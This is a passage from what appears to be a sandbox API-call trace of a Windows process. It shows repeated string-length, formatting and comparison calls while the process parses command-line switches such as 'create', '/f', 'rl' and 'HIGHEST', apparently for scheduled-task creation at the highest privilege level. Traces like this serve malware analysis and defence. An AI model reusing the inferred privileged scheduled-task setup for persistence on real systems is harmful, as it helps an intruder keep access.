(lpString="|z|") returned 3 [0106.105] lstrlenW (lpString="|rl|") returned 4 [0106.105] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.106] lstrlenW (lpString="f") returned 1 [0106.106] lstrlenW (lpString="f") returned 1 [0106.110] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.110] lstrlenW (lpString="rl") returned 2 [0106.110] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.110] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.111] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.111] lstrlenW (lpString="|f|") returned 3 [0106.111] lstrlenW (lpString="|rl|") returned 4 [0106.111] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.111] lstrlenW (lpString="v1") returned 2 [0106.111] lstrlenW (lpString="v1") returned 2 [0106.111] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.111] lstrlenW (lpString="rl") returned 2 [0106.111] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.111] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|v1|") returned 4 [0106.111] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.111] lstrlenW (lpString="|v1|") returned 4 [0106.111] lstrlenW (lpString="|rl|") returned 4 [0106.111] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0106.111] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.111] lstrlenW (lpString="xml") returned 3 [0106.111] lstrlenW (lpString="xml") returned 3 [0106.111] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.111] lstrlenW (lpString="rl") returned 2 [0106.111] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.111] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|xml|") returned 5 [0106.111] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.111] lstrlenW (lpString="|xml|") returned 5 [0106.111] lstrlenW (lpString="|rl|") returned 4 [0106.111] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0106.112] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.112] lstrlenW (lpString="ec") returned 2 [0106.112] lstrlenW (lpString="ec") returned 2 [0106.112] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.112] lstrlenW (lpString="rl") returned 2 [0106.112] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.112] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|ec|") returned 4 [0106.112] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.112] lstrlenW (lpString="|ec|") returned 4 [0106.112] lstrlenW (lpString="|rl|") returned 4 [0106.112] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0106.112] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.112] lstrlenW (lpString="rl") returned 2 [0106.112] lstrlenW (lpString="rl") returned 2 [0106.112] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.112] lstrlenW (lpString="rl") returned 2 [0106.112] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.112] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.112] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.112] lstrlenW (lpString="|rl|") returned 4 [0106.112] lstrlenW (lpString="|rl|") returned 4 [0106.112] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0106.112] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.112] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.112] lstrlenW (lpString="HIGHEST") returned 7 [0106.112] lstrlenW (lpString="-/") returned 2 [0106.113] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0106.113] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.113] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.113] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.113] lstrlenW (lpString="HIGHEST") returned 7 [0106.113] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0106.113] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.113] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.113] _memicmp (_Buf1=0x1f4ae8cab20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.113] lstrlenW (lpString="HIGHEST") returned 7 [0106.113] lstrlenW (lpString="HIGHEST") returned 7 [0106.113] lstrlenW (lpString=" \x09") returned 2 [0106.113] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0106.113] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0106.113] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0106.113] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0106.113] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0106.113] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0106.113] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0106.113] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0106.113] GetLastError () returned 0x0 [0106.113] lstrlenW (lpString="HIGHEST") returned 7 [0106.113] lstrlenW (lpString="HIGHEST") returned 7 [0106.113] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.113] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.113] lstrlenW (lpString="/f") returned 2 [0106.113] lstrlenW (lpString="-/") returned 2 [0106.113] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0106.113] lstrlenW (lpString="create") returned 6 [0106.114] lstrlenW (lpString="create") returned 6 [0106.114] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.114] lstrlenW (lpString="f") returned 1 [0106.114] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.114] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|create|") returned 8 [0106.114] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.114] lstrlenW (lpString="|create|") returned 8 [0106.114] lstrlenW (lpString="|f|") returned 3 [0106.114] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0106.114] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.114] lstrlenW (lpString="?") returned 1 [0106.114] lstrlenW (lpString="?") returned 1 [0106.114] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.114] lstrlenW (lpString="f") returned 1 [0106.114] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.114] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|?|") returned 3 [0106.114] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.114] lstrlenW (lpString="|?|") returned 3 [0106.114] lstrlenW (lpString="|f|") returned 3 [0106.114] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0106.114] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.114] lstrlenW (lpString="s") returned 1 [0106.114] lstrlenW (lpString="s") returned 1 [0106.114] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.114] lstrlenW (lpString="f") returned 1 [0106.114] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.114] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|s|") returned 3 [0106.115] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.115] lstrlenW (lpString="|s|") returned 3 [0106.115] lstrlenW (lpString="|f|") returned 3 [0106.115] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0106.115] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.115] lstrlenW (lpString="u") returned 1 [0106.115] lstrlenW (lpString="u") returned 1 [0106.115] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.115] lstrlenW (lpString="f") returned 1 [0106.115] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.115] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|u|") returned 3 [0106.115] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.115] lstrlenW (lpString="|u|") returned 3 [0106.115] lstrlenW (lpString="|f|") returned 3 [0106.115] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0106.115] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.115] lstrlenW (lpString="p") returned 1 [0106.115] lstrlenW (lpString="p") returned 1 [0106.115] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.115] lstrlenW (lpString="f") returned 1 [0106.115] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.115] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|p|") returned 3 [0106.115] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.115] lstrlenW (lpString="|p|") returned 3 [0106.115] lstrlenW (lpString="|f|") returned 3 [0106.115] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0106.115] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.116] lstrlenW (lpString="ru") returned 2 [0106.116] lstrlenW (lpString="ru") returned 2 [0106.116] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.116] lstrlenW (lpString="f") returned 1 [0106.116] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.116] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|ru|") returned 4 [0106.116] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.116] lstrlenW (lpString="|ru|") returned 4 [0106.116] lstrlenW (lpString="|f|") returned 3 [0106.116] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0106.116] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.116] lstrlenW (lpString="rp") returned 2 [0106.116] lstrlenW (lpString="rp") returned 2 [0106.116] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.116] lstrlenW (lpString="f") returned 1 [0106.116] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.116] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rp|") returned 4 [0106.116] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.116] lstrlenW (lpString="|rp|") returned 4 [0106.116] lstrlenW (lpString="|f|") returned 3 [0106.116] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0106.116] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.116] lstrlenW (lpString="sc") returned 2 [0106.116] lstrlenW (lpString="sc") returned 2 [0106.116] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.116] lstrlenW (lpString="f") returned 1 [0106.116] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.117] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sc|") returned 4 [0106.117] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.117] lstrlenW (lpString="|sc|") returned 4 [0106.117] lstrlenW (lpString="|f|") returned 3 [0106.117] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0106.117] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.117] lstrlenW (lpString="mo") returned 2 [0106.117] lstrlenW (lpString="mo") returned 2 [0106.117] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.117] lstrlenW (lpString="f") returned 1 [0106.117] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.117] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|mo|") returned 4 [0106.117] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.117] lstrlenW (lpString="|mo|") returned 4 [0106.117] lstrlenW (lpString="|f|") returned 3 [0106.117] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0106.117] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.117] lstrlenW (lpString="d") returned 1 [0106.117] lstrlenW (lpString="d") returned 1 [0106.117] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.117] lstrlenW (lpString="f") returned 1 [0106.117] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.117] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|d|") returned 3 [0106.117] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.117] lstrlenW (lpString="|d|") returned 3 [0106.117] lstrlenW (lpString="|f|") returned 3 [0106.117] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0106.118] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.118] lstrlenW (lpString="m") returned 1 [0106.118] lstrlenW (lpString="m") returned 1 [0106.118] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.118] lstrlenW (lpString="f") returned 1 [0106.118] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.118] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|m|") returned 3 [0106.118] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.118] lstrlenW (lpString="|m|") returned 3 [0106.118] lstrlenW (lpString="|f|") returned 3 [0106.118] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0106.118] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.118] lstrlenW (lpString="i") returned 1 [0106.118] lstrlenW (lpString="i") returned 1 [0106.118] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.118] lstrlenW (lpString="f") returned 1 [0106.118] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.118] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|i|") returned 3 [0106.118] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.118] lstrlenW (lpString="|i|") returned 3 [0106.118] lstrlenW (lpString="|f|") returned 3 [0106.118] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0106.118] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.118] lstrlenW (lpString="tn") returned 2 [0106.118] lstrlenW (lpString="tn") returned 2 [0106.118] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.118] lstrlenW (lpString="f") returned 1 [0106.119] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.119] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.119] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.119] lstrlenW (lpString="|tn|") returned 4 [0106.119] lstrlenW (lpString="|f|") returned 3 [0106.119] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0106.119] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.119] lstrlenW (lpString="tr") returned 2 [0106.119] lstrlenW (lpString="tr") returned 2 [0106.119] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.119] lstrlenW (lpString="f") returned 1 [0106.119] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.119] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.119] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.119] lstrlenW (lpString="|tr|") returned 4 [0106.119] lstrlenW (lpString="|f|") returned 3 [0106.119] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0106.119] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.119] lstrlenW (lpString="st") returned 2 [0106.119] lstrlenW (lpString="st") returned 2 [0106.119] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.119] lstrlenW (lpString="f") returned 1 [0106.119] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.119] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|st|") returned 4 [0106.119] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.119] lstrlenW (lpString="|st|") returned 4 [0106.120] lstrlenW (lpString="|f|") returned 3 [0106.120] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0106.120] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.120] lstrlenW (lpString="sd") returned 2 [0106.120] lstrlenW (lpString="sd") returned 2 [0106.120] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.120] lstrlenW (lpString="f") returned 1 [0106.120] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.120] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sd|") returned 4 [0106.120] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.120] lstrlenW (lpString="|sd|") returned 4 [0106.120] lstrlenW (lpString="|f|") returned 3 [0106.120] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0106.120] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.120] lstrlenW (lpString="ed") returned 2 [0106.120] lstrlenW (lpString="ed") returned 2 [0106.120] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.120] lstrlenW (lpString="f") returned 1 [0106.120] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.120] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|ed|") returned 4 [0106.120] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.120] lstrlenW (lpString="|ed|") returned 4 [0106.120] lstrlenW (lpString="|f|") returned 3 [0106.120] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0106.120] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.120] lstrlenW (lpString="it") returned 2 [0106.120] lstrlenW (lpString="it") returned 2 [0106.120] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.121] lstrlenW (lpString="f") returned 1 [0106.121] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.121] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|it|") returned 4 [0106.121] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.121] lstrlenW (lpString="|it|") returned 4 [0106.121] lstrlenW (lpString="|f|") returned 3 [0106.121] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0106.121] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.121] lstrlenW (lpString="et") returned 2 [0106.121] lstrlenW (lpString="et") returned 2 [0106.121] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.121] lstrlenW (lpString="f") returned 1 [0106.121] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.121] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|et|") returned 4 [0106.121] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.121] lstrlenW (lpString="|et|") returned 4 [0106.121] lstrlenW (lpString="|f|") returned 3 [0106.124] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0106.124] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.124] lstrlenW (lpString="k") returned 1 [0106.124] lstrlenW (lpString="k") returned 1 [0106.124] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.124] lstrlenW (lpString="f") returned 1 [0106.124] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.124] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|k|") returned 3 [0106.125] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.125] lstrlenW (lpString="|k|") returned 3 [0106.125] lstrlenW (lpString="|f|") returned 3 [0106.125] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0106.125] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.125] lstrlenW (lpString="du") returned 2 [0106.125] lstrlenW (lpString="du") returned 2 [0106.125] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.125] lstrlenW (lpString="f") returned 1 [0106.125] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.125] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|du|") returned 4 [0106.125] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.125] lstrlenW (lpString="|du|") returned 4 [0106.125] lstrlenW (lpString="|f|") returned 3 [0106.125] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0106.125] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.125] lstrlenW (lpString="ri") returned 2 [0106.125] lstrlenW (lpString="ri") returned 2 [0106.125] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.125] lstrlenW (lpString="f") returned 1 [0106.125] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.125] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|ri|") returned 4 [0106.125] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.125] lstrlenW (lpString="|ri|") returned 4 [0106.125] lstrlenW (lpString="|f|") returned 3 [0106.125] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0106.126] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.126] lstrlenW (lpString="z") returned 1 [0106.126] lstrlenW (lpString="z") returned 1 [0106.126] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.126] lstrlenW (lpString="f") returned 1 [0106.126] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.126] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|z|") returned 3 [0106.126] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, 